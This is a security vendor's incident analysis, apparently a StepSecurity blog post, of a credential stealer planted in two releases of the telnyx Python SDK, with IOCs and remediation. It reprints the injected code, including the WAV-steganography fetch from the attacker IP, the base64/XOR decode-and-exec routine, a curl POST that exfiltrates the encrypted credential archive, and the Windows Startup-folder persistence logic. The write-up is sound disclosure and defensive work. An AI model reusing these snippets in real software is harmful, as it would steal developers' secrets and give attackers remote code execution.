惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

G
GRAHAM CLULEY
T
Tenable Blog
Know Your Adversary
Know Your Adversary
C
CXSECURITY Database RSS Feed - CXSecurity.com
P
Privacy International News Feed
S
Security Affairs
NISL@THU
NISL@THU
O
OpenAI News
Attack and Defense Labs
Attack and Defense Labs
Application and Cybersecurity Blog
Application and Cybersecurity Blog
Hacker News: Ask HN
Hacker News: Ask HN
Webroot Blog
Webroot Blog
Schneier on Security
Schneier on Security
S
SegmentFault 最新的问题
S
Schneier on Security
G
Google Developers Blog
V
V2EX
C
Check Point Blog
U
Unit 42
Google DeepMind News
Google DeepMind News
T
Threatpost
阮一峰的网络日志
阮一峰的网络日志
T
The Exploit Database - CXSecurity.com
Recent Announcements
Recent Announcements
M
MIT News - Artificial intelligence
S
Secure Thoughts
博客园 - 司徒正美
Recorded Future
Recorded Future
P
Proofpoint News Feed
Spread Privacy
Spread Privacy
K
Kaspersky official blog
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
AI
AI
博客园 - 聂微东
N
News and Events Feed by Topic
SecWiki News
SecWiki News
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
V
Vulnerabilities – Threatpost
P
Palo Alto Networks Blog
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
Engineering at Meta
Engineering at Meta
Recent Commits to openclaw:main
Recent Commits to openclaw:main
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
酷 壳 – CoolShell
酷 壳 – CoolShell
WordPress大学
WordPress大学
The Hacker News
The Hacker News
The Last Watchdog
The Last Watchdog
Project Zero
Project Zero
W
WeLiveSecurity
博客园 - Franky

Step Security Blog

Announcing Dependabot Configuration Enhancements: Cooldown and Group Support - StepSecurity Securing Vibe Coding and AI Coding Agents: An End-to-End Approach with StepSecurity - StepSecurity Introducing StepSecurity Dev Machine Guard: Protecting Developer Machines from Supply Chain Attacks - StepSecurity Top 2024 Predictions for CI/CD Security - StepSecurity Dev Machine Guard Is Now Open Source: See What's Really Running on Your Developer Machine - StepSecurity Datadog's DevSecOps 2026 Report Validates What We've Been Building - StepSecurity hackerbot-claw: An AI-Powered Bot Actively Exploiting GitHub Actions - Microsoft, DataDog, and CNCF Projects Hit So Far - StepSecurity Cline Supply Chain Attack Detected: cline@2.3.0 Silently Installs OpenClaw - StepSecurity StepSecurity’s Unified Protection Across the SDLC Infrastructure Threat Framework (SITF) - StepSecurity @velora-dex/sdk Compromised on npm: Malicious Version Drops macOS Backdoor via launchctl Persistence - StepSecurity axios Compromised on npm - Malicious Versions Drop Remote Access Trojan - StepSecurity Behind the Scenes: How StepSecurity Detected and Helped Remediate the Largest npm Supply Chain Attack - StepSecurity 10 Layers Deep: How StepSecurity Stops TeamPCP's Trivy Supply Chain Attack on GitHub Actions - StepSecurity Malicious IoliteLabs VSCode Extensions Target Solidity Developers on Windows, macOS, and Linux with Backdoor - StepSecurity litellm: Credential Stealer Hidden in PyPI Wheel - StepSecurity Checkmarx KICS GitHub Action Compromised: Malware Injected in All Git Tags - StepSecurity CanisterWorm: How a Self-Propagating npm Worm Is Spreading Backdoors Across the Ecosystem - StepSecurity Trivy Compromised a Second Time - Malicious v0.69.4 Release, aquasecurity/setup-trivy, aquasecurity/trivy-action GitHub Actions Compromised - StepSecurity bittensor-wallet 4.0.2 Compromised on PyPI - Backdoor Exfiltrates Private Keys - StepSecurity Malicious npm Releases Found in Popular React Native Packages - 130K+ Monthly Downloads Compromised - StepSecurity Malicious Polymarket Bot Hides in Hijacked dev-protocol GitHub Org and Steals Wallet Keys - StepSecurity ForceMemo: Hundreds of GitHub Python Repos Compromised via Account Takeover and Force-Push - StepSecurity xygeni-action Compromised: C2 Reverse Shell Backdoor Injected via Tag Poisoning - StepSecurity kubernetes-el Compromised: How a Pwn Request Exploited a Popular Emacs Package - StepSecurity How StepSecurity Caught a Release Storm in Microsoft’s @types Packages - StepSecurity Harden Runner Now Supports Windows and macOS GitHub Actions Runners - StepSecurity 10,000 Open-Source Projects Now Secured by Harden-Runner Community-Tier: A Milestone Three Years in the Making - StepSecurity 20+ Popular NPM Packages Compromised (Chalk, Debug, Strip-ANSI, Color-Convert, Wrap-ANSI...) - StepSecurity 2024 in Review: The Evolution of CI/CD Security & What's Next - StepSecurity How to Use Docker in Actions Runner Controller (ARC) Runners Securely - StepSecurity Celebrating 1000 Repositories Secured with Harden Runner: A Journey of Growth and Collaboration - StepSecurity StepSecurity Detects Early Supply Chain Risk Signals in kilocode npm - StepSecurity Another npm Supply Chain Attack: The 'is' Package Compromise - StepSecurity anthropics/claude-code-action Security: How to Secure Claude Code in GitHub Actions with Harden-Runner - StepSecurity Harden-Runner detection: tj-actions/changed-files action is compromised - StepSecurity StepSecurity's Catalog of Fixes - StepSecurity Orchestrating Security: StepSecurity's Impact on 400+ Repositories and Future Plans - StepSecurity Announcing Anomalous Outbound Call Detection Using Machine Learning - StepSecurity Announcing GitHub Actions Advisor and StepSecurity Maintained Actions - StepSecurity Analysis of Backdoored XZ Utils Build Process with Harden-Runner - StepSecurity Announcing General Availability of Harden Runner - StepSecurity Milestone Achieved: 2500+ Public Repositories Secured with Harden-Runner - StepSecurity Build secretless CI/CD pipelines using wait-for-secrets - StepSecurity Introducing Apps & PATs: Centralized Visibility for GitHub Apps and Personal Access Tokens - StepSecurity CVE-2026-22709: Critical Sandbox Escape Vulnerability in vm2 - StepSecurity StepSecurity Now Supports Dark Mode - StepSecurity 2025 in Review: The Evolution of Supply Chain Security & What's Next - StepSecurity Bake Harden-Runner Into GitHub's Custom Runner Images for Organization-Wide CI/CD Security - StepSecurity StepSecurity Is Now Available on Azure Marketplace - StepSecurity Critical Remote Code Execution Vulnerabilities Discovered in React Server Components and Next.js - StepSecurity How Harden Runner Detected the Sha1-Hulud Supply Chain Attack in CNCF's Backstage Repository - StepSecurity Sha1-Hulud: The Second Coming - Zapier, ENS Domains, and Other Prominent NPM Packages Compromised - StepSecurity Supply Chain Security Alert: eslint-config-prettier Package Shows Signs of Compromise - StepSecurity 9,000 Open-Source Projects Now Secured by Harden-Runner - StepSecurity Shai-Hulud: Self-Replicating Worm Compromises 500+ NPM Packages - StepSecurity Introducing npm Package Search: Find Where Any Package Was Introduced Across Your GitHub Organizations - StepSecurity StepSecurity Is Sponsoring GitHub Universe 2025 - StepSecurity s1ngularity: Popular Nx Build System Package Compromised with Data-Stealing Malware - StepSecurity Introducing StepSecurity Threat Intelligence: Real-Time Supply Chain Attack Alerts for Your SIEM - StepSecurity 8,000 Strong: Harden-Runner's Growing Impact on CI/CD Security - StepSecurity Securing Google Gemini in GitHub Actions with Harden-Runner - StepSecurity GhostAction Campaign: Over 3,000 Secrets Stolen Through Malicious GitHub Workflows - StepSecurity Introducing the NPM Package Cooldown Check - StepSecurity Securing GitHub Copilot in GitHub Actions with Harden-Runner - StepSecurity Calculate Your CI/CD Security ROI with StepSecurity's New ROI Calculator - StepSecurity How StepSecurity Harden Runner Detected Unexpected Microsoft Defender Installation on GitHub-hosted Ubuntu Runners - StepSecurity StepSecurity Harden Runner: Detect source code tampering during the build process - StepSecurity Suspicious Tag Movement in AWS’s GitHub Action: What Happened and Why It Matters - StepSecurity When 'Changed Files' Changed Everything: Our Black Hat 2025 Presentation on the tj-actions Supply Chain Breach - StepSecurity Lessons from AWS CodeBuild’s Memory-Dump Incident (CVE-2025-8217) - StepSecurity Supply Chain Security Alert: num2words PyPI Package Shows Signs of Compromise - StepSecurity When AI Meets CI/CD: Coding Agents in GitHub Actions Pose Hidden Security Risks - StepSecurity The GitHub Warning Everyone Ignores: 'This Commit Does Not Belong to Any Branch' - StepSecurity 8 GitHub Actions Secrets Management Best Practices to Follow - StepSecurity reviewdog GitHub Actions are compromised - StepSecurity 7,000 Open-Source Projects Now Secured by Harden-Runner - StepSecurity Replace Third-Party Actions with StepSecurity Maintained Actions via Automated Pull Requests - StepSecurity StepSecurity Is Now Available on AWS Marketplace - StepSecurity Introducing StepSecurity Artifact Monitor: Detect Unauthorized Software Releases in minutes, not months - StepSecurity Introducing Workflow Run Policies: Guardrails for Blocking Non-Compliant GitHub Actions Runs - StepSecurity Harden-Runner Detects New Traffic to release-assets.githubusercontent.com Across Multiple Customers - StepSecurity Grafana GitHub Actions Security Incident - StepSecurity Export Harden-Runner Security Insights and Detections to Amazon S3 - StepSecurity Evolving Harden-Runner’s disable-sudo Policy for Improved Runner Security - StepSecurity Announcing Policy-Driven Automated Pull Requests for CI/CD Misconfiguration Remediation - StepSecurity Announcing StepSecurity’s Integration with RunsOn: Secure and Optimized CI/CD Pipelines - StepSecurity Secure Repo Just Got Better: New Features for GitHub Actions Security Best Practices - StepSecurity Why Compliance Auditors Are Looking at Your CI/CD Runners - And How to Prepare - StepSecurity Harden-Runner Flags Anomalous Outbound Call, Leading to Docker Documentation Update - StepSecurity StepSecurity Harden-Runner Now Secures GitHub Actions Workflows for Over 5,000 Open Source Projects - StepSecurity GitHub Actions Pwn Request Vulnerability - StepSecurity Prevent Ultralytics Style CI/CD Security Attacks with Network Security Controls - StepSecurity PyTorch Supply Chain Compromise - StepSecurity Unified Network Egress View: Centralize GitHub Actions Network Destinations for Your Enterprise - StepSecurity Uniting Developers and Security: Celebrating the Success of 500+ Open Source Projects Using StepSecurity's Orchestration Platform - StepSecurity 5 Effective Third-Party GitHub Actions Governance Best Practices - StepSecurity StepSecurity Recognized Among CRN’s "10 Hottest DevOps Startups Of 2024" - StepSecurity Streamline Your GitHub Actions Workflows with StepSecurity’s Latest Feature - StepSecurity StepSecurity Steps Up the Security Game with SOC 2 Type 2 Compliance - StepSecurity StepSecurity's Alignment with CISA's CI/CD Security Guidance - StepSecurity
TeamPCP Plants WAV Steganography Credential Stealer in telnyx PyPI Package - StepSecurity
2026-04-02 · via Step Security Blog

On March 27, 2026, TeamPCP injected a WAV steganography-based credential stealer into two releases of the telnyx Python SDK on PyPI. The issue was disclosed in team-telnyx/telnyx-python#235. TeamPCP is the same group behind the litellm supply chain compromise three days earlier, identified by a shared RSA-4096 public key, identical encryption scheme, and the tpcp.tar.gz exfiltration signature present in both attacks.

The telnyx package had been downloaded 742,000 times in the 30 days before the compromise — a widely-used SDK with an established install base across telephony applications, call automation pipelines, and communications infrastructure. Every environment running a routine pip install --upgrade telnyx on March 27 would have silently pulled one of the malicious releases with no warning, no visible error, and no indication that anything had changed.

If you installed telnyx 4.87.1 or 4.87.2: Rotate all secrets immediately — every environment variable, SSH key, cloud credential, and API key present on that system. See the Remediation section below.

We independently performed static analysis on both versions, fully decoding all payloads. The attack injects 74 lines of malicious code into a single file, telnyx/_client.py, which executes immediately on import telnyx. TeamPCP uses a novel delivery mechanism not seen in the litellm attack: the credential-stealing payload is hidden inside a WAV audio file using steganography, fetched from attacker infrastructure at runtime, and decoded using a base64 + XOR scheme before execution. The malware bifurcates by platform — on Linux and macOS it runs a credential harvester that encrypts stolen data with AES-256-CBC and RSA-4096 before exfiltrating it; on Windows it drops a persistent binary disguised as msbuild.exe into the Startup folder for persistence across reboots.

Background: What Is telnyx?

Telnyx is a cloud communications platform providing programmable voice, SMS, fax, and phone number management. The telnyx Python SDK is the official client library for the Telnyx API. It is used in telephony applications, call automation pipelines, and any Python service that integrates with Telnyx for communications. The last known clean release was 4.87.0, published to GitHub on March 26, 2026.

The Injection: A Single Compromised File

Unlike the litellm compromise which used a .pth file or injected into the proxy server module, the telnyx attack modifies only one file: src/telnyx/_client.py, the top-level client module that is imported whenever any application uses the SDK.

The malicious additions are spread across four locations in the file:

1. Malicious Imports (Lines 4–10)

Seven new standard-library imports are injected at the top of the file, immediately after the module docstring:

# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.

from __future__ import annotations
import subprocess   # <-- injected
import tempfile     # <-- injected
import time         # <-- injected
import os           # <-- injected
import base64       # <-- injected
import sys          # <-- injected
import wave         # <-- injected
import os           # <-- injected (duplicate, obscuring the addition)
from typing import TYPE_CHECKING, Any, Mapping
import urllib.request  # <-- injected

The os import appears twice, which is a minor obfuscation: the duplicate is not flagged as an error by Python, and a casual reviewer scanning for “new imports” may not notice the additions are spread across the standard block.

2. Base64 Decoder Helper (Lines 41–42)

A short helper function is injected after the internal client imports:

def _d(s):
    return base64.b64decode(s).decode('utf-8')

This is used throughout the Windows attack function to decode string literals at runtime, preventing the malicious URLs, paths, and environment variable names from appearing as plaintext in the source code.

3. Base64 Payload Variable (Line 459)

A 4,436-character base64-encoded string is assigned to _p, inserted just before the __all__ declaration and the main Telnyx class definition:

__all__ = ["Timeout", "Transport", "ProxiesTypes", "RequestOptions", "Telnyx", "AsyncTelnyx", "Client", "AsyncClient"]

_p = "aW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHRlbXBmaWxlCmltcG9ydCBvcwppbXBvcnQg..."

This blob decodes to the full Linux/macOS credential harvester script. Placing it before the class definition ensures it is accessible at module scope when the attack functions later reference it.

4. Attack Functions and Trigger (Lines 7761–7825)

At the very end of the file, after all legitimate class definitions, four additions appear:

  • setup() — Windows attack function (lines 7761–7804)
  •  
  • FetchAudio() — Linux/macOS attack function (lines 7806–7817)
  •  
  • Module-level call: Setup() in 4.87.1, setup() in 4.87.2
  •  
  • Module-level call: FetchAudio()

Both are invoked at module scope — meaning they run the moment any application does import telnyx.

The 4.87.1 → 4.87.2 Fix: Activating the Windows Attack

The only code difference between the two compromised versions is a single character in the module-level trigger:

- Setup()   # 4.87.1 — Python NameError: name 'Setup' is not defined
+ setup()   # 4.87.2 — correct, calls the Windows attack function

Python identifiers are case-sensitive. In 4.87.1, setup() (lowercase) is defined but Setup() (uppercase) is called. This raises a NameError which is swallowed silently by Python’s exception handling in the surrounding context, so no error is visible to the user — but the Windows attack simply never runs.

FetchAudio(), which handles Linux and macOS, uses the correct case in both versions and was functional from the first compromised release.

Attacker iteration cadence: The two-version pattern reflects real-time operational testing. The attacker published 4.87.1, observed that Windows machines were not phoning home (or tested it directly and found the bug), then published 4.87.2 within the same day to fix the capitalization. This kind of rapid iteration is consistent with the operational tempo seen in the litellm campaign, where two versions with different injection techniques were published within hours of each other.

Platform-Specific Attack Paths

Linux / macOS: WAV-Delivered Credential Harvester

On non-Windows systems, FetchAudio() runs. It spawns a detached subprocess with start_new_session=True, which decouples the harvester entirely from the parent Python process — the application continues normally and returns immediately:

def FetchAudio():
    if os.name == 'nt':
        return
    try:
        subprocess.Popen(
            [sys.executable, "-c", f"import base64; exec(base64.b64decode('{_p}').decode())"],
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            start_new_session=True
        )
    except:
        pass

The subprocess decodes _p and executes it. The decoded payload is the audioimport() function, which implements a WAV-based steganographic delivery system:

Step 1 — Fetch the WAV file. A request is sent to http://83.142.209.203:8080/ringtone.wav with a Mozilla/5.0 User-Agent to blend in with browser traffic:

WAV_URL = "http://83.142.209.203:8080/ringtone.wav"
req = urllib.request.Request(WAV_URL, headers={'User-Agent': 'Mozilla/5.0'})
with urllib.request.urlopen(req, timeout=15) as r:
    with open(wf, "wb") as f:
        f.write(r.read())

Step 2 — Extract and decode the hidden payload. The file is opened as a WAV audio container using Python’s wave module. The audio frames are read and base64-decoded. The first 8 bytes are an XOR key; the remainder is the ciphertext:

with wave.open(wf, 'rb') as w:
    raw = base64.b64decode(w.readframes(w.getnframes()))
    s, data = raw[:8], raw[8:]
    payload = bytes([data[i] ^ s[i % len(s)] for i in range(len(data))])

The result is a second-stage Python credential harvester script, hidden inside what appears to be a valid audio file. This technique evades content inspection tools that look for embedded scripts but do not parse WAV audio frame data.

Step 3 — Execute the credential harvester. The decoded payload is piped directly to a new Python interpreter as stdin:

subprocess.run(
    [sys.executable, "-"],
    input=payload,
    stdout=f,
    stderr=subprocess.DEVNULL,
    check=True
)

This runs the harvester in a fresh Python process without writing the script to disk — avoiding filesystem-based detection. The harvester’s output (collected credentials) is written to a temp file for encryption.

Step 4 — Encrypt and exfiltrate. The collected data is encrypted with a random 32-byte AES session key, the session key is RSA-wrapped with the attacker’s 4096-bit public key, and both are packed into tpcp.tar.gz and POSTed to the C2:

subprocess.run(["openssl", "rand", "-out", sk, "32"], check=True)
subprocess.run(["openssl", "enc", "-aes-256-cbc", "-in", collected, "-out", ef,
                "-pass", f"file:{sk}", "-pbkdf2"], check=True, stderr=subprocess.DEVNULL)
subprocess.run(["openssl", "pkeyutl", "-encrypt", "-pubin", "-inkey", pk,
                "-in", sk, "-out", ek, "-pkeyopt", "rsa_padding_mode:oaep"],
               check=True, stderr=subprocess.DEVNULL)
subprocess.run(["tar", "-czf", bn, "-C", d, "payload.enc", "session.key.enc"], check=True)

subprocess.run([
    "curl", "-s", "-o", "/dev/null", "-w", "%{http_code}", "-X", "POST",
    "http://83.142.209.203:8080/",
    "-H", "Content-Type: application/octet-stream",
    "-H", "X-Filename: tpcp.tar.gz",
    "--data-binary", f"@{bn}"
], check=True, stderr=subprocess.DEVNULL)

The X-Filename: tpcp.tar.gz header is a TeamPCP signature seen across multiple compromises. The temp directory is automatically cleaned up by Python’s TemporaryDirectory context manager, leaving no artifacts on disk after exfiltration completes.

Windows: Persistent Binary via Startup Folder

On Windows systems (os.name == 'nt'), setup() (functional in 4.87.2, broken in 4.87.1) runs instead. All sensitive string literals are base64-obfuscated using the _d() helper. Decoded values:

  • _d('QVBQREFUQQ==')APPDATA
  •  
  • _d('TWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVw')Microsoft\Windows\Start Menu\Programs\Startup
  •  
  • _d('bXNidWlsZC5leGU=')msbuild.exe
  •  
  • _d('LmxvY2s=').lock
  •  
  • _d('LnRtcA==').tmp
  •  
  • _d('aHR0cDovLzgzLjE0Mi4yMDkuMjAzOjgwODAvaGFuZ3VwLndhdg==')http://83.142.209.203:8080/hangup.wav
  •  
  • _d('VXNlci1BZ2VudA==')User-Agent
  •  
  • _d('TW96aWxsYS81LjA=')Mozilla/5.0

The drop path is constructed as:

%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe

The Startup folder is a built-in Windows persistence mechanism — every executable placed there runs automatically when the user logs in. Using msbuild.exe as the filename is a classic LOLBin impersonation: Microsoft Build Engine is a trusted system binary, and an unfamiliar user or analyst scanning the Startup folder may dismiss it as legitimate.

Lock file anti-duplication: Before dropping the binary, the attacker checks for the presence of msbuild.exe.lock. If the lock file is less than 12 hours old, the function exits without doing anything. This prevents redundant installs if the SDK is imported multiple times, and avoids re-downloading on the same machine within a 12-hour window:

if os.path.exists(l):
    m_time = os.path.getmtime(l)
    if (time.time() - m_time) < 43200:   # 12 hours
        return

The lock file is then hidden using attrib +h to prevent casual discovery.

WAV delivery and XOR decode: The binary is not downloaded directly. Instead, hangup.wav is fetched from http://83.142.209.203:8080/hangup.wav using the same WAV steganography approach: audio frames are read, base64-decoded, the first 8 bytes are used as an XOR key, and the XOR-decoded remainder is the actual Windows PE binary. This is written directly to msbuild.exe and executed silently with creationflags=0x08000000 (CREATE_NO_WINDOW).

Two WAV files, two targets: The C2 server serves ringtone.wav for Linux/macOS (contains the Python credential harvester) and hangup.wav for Windows (contains a native PE binary). The naming is deliberate — both are plausible audio filenames that would not appear suspicious in network logs inspected casually.

The RSA-4096 Public Key: Fingerprinting TeamPCP

Every credential harvest is encrypted with the same attacker-controlled RSA-4096 public key, embedded directly in the _p payload. This key is the strongest attribution signal in this investigation:

-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvahaZDo8mucujrT15ry+
08qNLwm3kxzFSMj84M16lmIEeQA8u1X8DGK0EmNg7m3J6C3KzFeIzvz0UTgSq6cV
pQWpiuQa+UjTkWmC8RDDXO8G/opLGQnuQVvgsZWuT31j/Qop6rtocYsayGzCFrMV
...
-----END PUBLIC KEY-----

This is byte-for-byte identical to the RSA public key embedded in the litellm 1.82.7/1.82.8 supply chain compromise, published to PyPI on March 24, 2026. The same key means the same attacker can decrypt both sets of stolen credentials.

Attribution: TeamPCP

Attribution to TeamPCP is high-confidence, based on three independent signals all present in the decoded payloads:

     
  1. Identical RSA-4096 public key. The public key embedded in _p is byte-for-byte the same key used in litellm 1.82.7/1.82.8. Only the holder of the corresponding private key can decrypt the stolen credentials, and reuse of the same key across campaigns is a strong fingerprint.
  2.  
  3. tpcp.tar.gz signature. The exfiltrated archive is named tpcp.tar.gz and the HTTP POST includes the header X-Filename: tpcp.tar.gz — an artifact seen consistently across every TeamPCP campaign, including both litellm versions and the earlier Trivy compromise.
  4.  
  5. Identical hybrid encryption scheme. The exact same openssl rand → openssl enc -aes-256-cbc -pbkdf2 → openssl pkeyutl -pkeyopt rsa_padding_mode:oaep sequence, using the same key and the same command-line arguments, appears in both litellm and telnyx payloads.

Controlled Execution Analysis

To validate our static analysis findings, we ran both compromised versions in a controlled GitHub Actions environment with Harden Runner enabled in audit mode — one Ubuntu job and one Windows job. The run confirms the malware fires immediately on import telnyx on both platforms, and reveals the state of the C2 server at the time of execution.

What Harden Runner Captured

On both the Ubuntu and Windows jobs, the connection to 83.142.209.203:8080 appears in exactly one step: “Create sample telnyx client” — the step that runs import telnyx. It does not appear during package installation. This confirms the payload is not triggered by pip or any install hook; it fires the moment the module is imported in application code.

Ubuntu (install-telnyx-ubuntu): python3 (PID 2570) connects to 83.142.209.203:8080 in the “Create sample telnyx client” step. This is the detached subprocess spawned by FetchAudio() attempting to fetch ringtone.wav.

Harden Runner network events for the Ubuntu job — showing the python3 PID 2570 outbound connection to 83.142.209.203:8080

Windows (install-telnyx-windows):python.exe (PID 4280) connects to 83.142.209.203:8080 in the same step. This is setup() attempting to fetch hangup.wav to drop msbuild.exe into the Startup folder.

Harden Runner network events for the Windows job — showing python.exe PID 4280 outbound connection to 83.142.209.203:8080

C2 Server Was Not Serving Payloads

No file write events were recorded in either job, and no second connection to 83.142.209.203:8080 was observed — which would have appeared had the WAV download succeeded and credential exfiltration been attempted. The C2 server connected but did not return a valid WAV payload at the time of the run. This is consistent with a C2 that was taken offline or rate-limiting connections after the compromise was disclosed.

The implication is significant: on systems where this package was installed while the C2 was active, the WAV files would have been served, the credential harvester would have executed, and tpcp.tar.gz would have been POSTed back. The static analysis shows exactly what would have been collected.

Indicators of Compromise

     
  • Malicious package: telnyx==4.87.1 — Linux/macOS attack functional; Windows broken due to Setup() casing bug
  •  
  • Malicious package: telnyx==4.87.2 — Both Linux/macOS and Windows attacks fully functional
  •  
  • C2 IP address: 83.142.209.203 — payload delivery and credential exfiltration endpoint
  •  
  • C2 URL (Linux/macOS): http://83.142.209.203:8080/ringtone.wav — credential harvester delivery via WAV steganography
  •  
  • C2 URL (Windows): http://83.142.209.203:8080/hangup.wav — PE binary delivery via WAV steganography
  •  
  • Exfiltration endpoint: http://83.142.209.203:8080/ — POST destination for tpcp.tar.gz
  •  
  • HTTP header: X-Filename: tpcp.tar.gz — TeamPCP campaign signature present in every exfiltration POST
  •  
  • Windows persistence: %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe — malicious PE dropped for Startup persistence
  •  
  • Windows artifact: %APPDATA%\...\Startup\msbuild.exe.lock — hidden lock file; presence confirms attack executed on that machine
  •  
  • RSA public key prefix: MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvahaZDo8... — TeamPCP 4096-bit key, byte-for-byte identical to the key in the litellm compromise

SHA-256 Hashes

     
  • telnyx-4.87.1.tar.gzf66c1ea3b25ec95d0c6a07be92c761551e543a7b256f9c78a2ff781c77df7093
  •  
  • telnyx-4.87.2.tar.gza9235c0eb74a8e92e5a0150e055ee9dcdc6252a07785b6677a9ca831157833a5

Remediation

Immediate actions if telnyx 4.87.1 or 4.87.2 was installed on any system:

Check your installed version:

pip show telnyx

If the Version field shows 4.87.1 or 4.87.2, the system is compromised. Downgrade immediately:

pip install "telnyx==4.87.0"

Check for the Windows persistence binary (Windows only):

dir "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe"

If this file exists: delete it immediately and check for the corresponding msbuild.exe.lock file in the same directory. The binary was already executed; treat the machine as fully compromised.

Check for the lock file (confirms Windows attack ran):

dir "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe.lock"

Rotate all credentials accessible on any affected system: SSH private keys, AWS access keys and session tokens (including all IAM roles attached to the instance), Kubernetes service account tokens and kubeconfig certificates, GCP service account keys, Azure credentials, all .env file values, Docker registry tokens, npm and PyPI tokens, and any API keys in environment variables.

Audit outbound network logs for connections to 83.142.209.203 on port 8080. Any connection confirms either payload delivery or credential exfiltration (or both) occurred.

How StepSecurity Helps

Harden-Runner monitors every outbound network connection made during a GitHub Actions workflow. Organizations running Harden-Runner with allowed-endpoint policies would have had the connection to 83.142.209.203:8080 blocked before any WAV file was fetched and before credentials were exfiltrated, with an alert surfaced immediately.

Threat Center

StepSecurity Enterprise customers can visit the Threat Center for the full alert on this incident, including the complete IOC set, affected version details, and remediation steps.

Threat Center delivers real-time alerts about compromised packages, hijacked maintainers, and emerging attack campaigns directly into existing SIEM workflows. Alerts include attack summaries, technical analysis, IOCs, affected versions, and remediation steps.

StepSecurity Threat Center alert for telnyx 4.87.1/4.87.2